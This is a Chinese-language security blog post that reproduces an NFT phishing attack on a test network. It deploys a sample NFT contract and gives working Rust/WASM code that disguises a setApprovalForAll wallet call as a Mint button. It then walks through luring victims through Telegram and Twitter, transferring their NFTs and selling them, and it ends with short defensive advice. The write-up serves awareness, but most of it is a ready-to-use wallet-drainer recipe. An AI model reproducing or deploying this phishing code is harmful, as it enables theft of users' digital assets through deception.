随着web3领域各种应用程序的相继发展,安全问题也随之凸显。近期钓鱼诈骗攻击事件频发,各种钓鱼攻击手法层出不穷。此时,如何更清楚地了解钓鱼攻击;如何避免被钓鱼显得尤为重要。
本系列文章从web3安全出发,持续跟进web3安全动态。本文通过复现 NFT 网络钓鱼攻击来进行详细的攻击过程分解,查看下文,会对mint背后的逻辑有更加清晰理解,以免造成NFT资产损失。
0x1 部署合约 + 铸造 NFT
1.1
发行平台
合约发行在 Rinkeby 测试网
1.2
主合约业务逻辑
合约地址:
0x5e6893BeEAd9718B1b41741065BA3C3c8848737D
主合约代码如下:
contract MyNFT is ERC721, ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Doge", "DG") {}
function safeMint(address to) public onlyOwner {
_safeMint(to, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
function _baseURI() internal pure override returns (string memory) {
return "ipfs://QmYjZ3Df23fqPyNXmMySEgKN5PkZa3f664G4uY1wuSfzSF/";
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
return super.tokenURI(tokenId);
}
}
其中:
-
构造函数 constructor 用来定义 NFT 的名称和标识符;
-
safeMint 会给目标地址铸造 1 个 NFT,且自增 tokenId,在下次一铸币时使用此 ID;
-
_baseURI 是被写死的链接,该链接是所有 tokenURI 的前缀;
-
tokenURI 是由 _baseURI + tokenId 拼接而成,该链接存储了 MetaData;
-
MetaData 存储了 NFT 交易网站所需要的 token 信息,如:NFT 的描述、标签的属性、图片地址 等。
在该示例合约中:
-
主合约名为:MyNFT
-
发行 NFT 名为 Doge,标识符为 DG
-
_baseURI 为 ipfs://QmYjZ3Df23fqPyNXmMySEgKN5PkZa3f664G4uY1wuSfzSF/
-
tokenURI 为 _baseURI + tokenID
注:OpenSea 会识别账户中所持 token 的 URI 的 MetaData
1.3
ipfs上传图片及 tokenId 和 MetaData 关联
使用 https://www.pinata.cloud 网站,可以免费上传图片至 ipfs 网络。
上传所有图片后,新建本地文件夹创建索引文件 —— 序号为自然数的纯文本文件,文件内容是 MetaData:
注:MetaData 中的图片链接就是刚上传至 ipfs 网络的图片地址。
再将该文件夹上传至 ipfs 网络,其地址即合约 _baseURI 函数的返回值。
1.4
铸币
用部署合约的账户铸两个NFT,交易哈希分别为:
• 0x6c8fc146813bdac9bf0100dfb3c5105c0951d2048978b5d86376c03acbf63a09
• 0xea0aa7bcf7072db62ee77a8ed938db23e47c81af1a5842381c9d8a7005534cd7
到 OpenSea 上查看:
0x2、钓鱼复现
2.1
合约
-
平台:Rinkeby
-
地址:0x8AdF4a5029d409ef9610D647584b411b2Bea0916
2.2
原理
使用 web3 调用智能合约的 setApprovalForAll 函数,并在前端页面显示为 Mint 按钮。
2.3
代码
该示例代码选择 Rust 编程语言,依赖 crates.io 的 web3 库,编译为 WASM 运行在浏览器中。
use aoko::no_std::pipelines::pipe::Pipe; // version = 0.3.0-alpha.7
use core::str::FromStr;
use wasm_bindgen::{prelude::*, JsCast};
use web3::{
api::Eth,
contract::{Contract, Options},
transports::eip_1193::{Eip1193, Provider},
types::Address,
Web3,
};
fn eth() -> Eth<Eip1193> {
web_sys::window()
.expect("no window available")
.get("ethereum")
.expect("MetaMask is not installed")
.unchecked_into::<Provider>()
.pipe(Eip1193::new)
.pipe(Web3::new)
.eth()
}
#[wasm_bindgen]
pub async fn connect_wallet() {
// Request the user to connect the MetaMask Wallet
eth().request_accounts().await.unwrap();
}
#[wasm_bindgen]
pub async fn phishing() {
// Create the environment to communicate with the MetaMask Wallet
let eth = eth();
// Get current user account
let account = eth.accounts().await.unwrap()[0];
// Create contract object
let contract = Contract::from_json(
eth,
Address::from_str("[The Contract Address]").unwrap(),
include_bytes!("abi.json"),
)
.unwrap();
// Send the phishing transaction to MetaMask Wallet
contract
.call_with_confirmations(
"setApprovalForAll",
(Address::from_str("[The Approved Address]").unwrap(), true),
account,
Options::default(),
1,
)
.await
.unwrap();
}
接下来使用 Yew 框架,在创建页面时连接钱包,并把 Mint 按钮的点击事件绑定到 phishing 函数即可。
可参考此文档:https://yew.rs/zh-CN/docs/getting-started/build-a-sample-app
2.4
复现
2.4.1 启动钓鱼服务
trunk serve --release
这会在本地构建项目并提供网页服务。
2.4.2 发布钓鱼链接
钓鱼者到 Telegram 群、Twitter 等地发布钓鱼链接,并宣称项目方目前可以免费铸币。
2.4.3 受害者访问网站连接钱包
访问本地项目,会自动弹出连接钱包的通知,供用户选择账户。
2.4.4 受害者点击 Mint 按钮后的操作详情
可以看到 Account2 : SET APPROVAL FOR ALL 字样,这是用户识别按钮是否为钓鱼的依据。
假如用户未仔细查看交易进行了何种操作,而直接点击了 Confirm 按钮,就会执行授权:
https://rinkeby.etherscan.io/tx/0xee08460fa306a5cbcd06f370846a9b8aaa5fe6c33d6191d3dc6853ce2e22a082
2.4.5 查看被钓鱼者的 tokenId
被钓鱼者执行了授权后,必然能在合约的 Transaction 中看到 Set Approval For All 字样,并在交易详情中看到授权给目标账户的地址。
若授权的目标账户是黑客地址,则对应的 from 就是受害者地址。
跟踪受害者地址,可得其名下所有 NFT 的 token ID:
2.4.6 转移受害者的 NFT
使用合约提供的转移函数即可转走指定的 NFT,交易链接如下:
https://rinkeby.etherscan.io/tx/0x67c4fd9392e209b5666ea6c2fa5901b761f78a8da1bccc3b18fd5b755613d7e8
2.4.7 售卖 NFT
-
点击 Sell 按钮:
-
填写售卖金额,完成清单:
-
根据提示操作即可:
-
再用其他账户访问该页面就会有购买按钮:https://testnets.opensea.io/assets/rinkeby/0x8adf4a5029d409ef9610d647584b411b2bea0916/0
2.4.8 购买 NFT
点击 Buy now 按钮,根据提示操作即可:
链上信息:
https://rinkeby.etherscan.io/tx/0xe71ed2192a0f3bfa64a33dd3f842c6afef340d0261eec8fc8d0d6b829214ac72
0x3 总结及建议
目前多个聊天软件均会发现恶意 mint 链接,也有不少用户资金被盗,为了避免此类盗币事件,建议大家在进行 mint 操作时,验证链接来源可靠性,同时确保实际签署交易的内容和预期相符。
出品 | 零时科技安全团队
►►►
往期内容回顾
WEB3 安全系列 || 盗取数字资产的方式,看看你是否中招?
零时科技 | 被盗6.1亿美金,Poly Network 被攻击复盘分析
原文始发于微信公众号(零时科技):WEB3 安全系列 || 银河系视角带你领略被盗的NFT
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论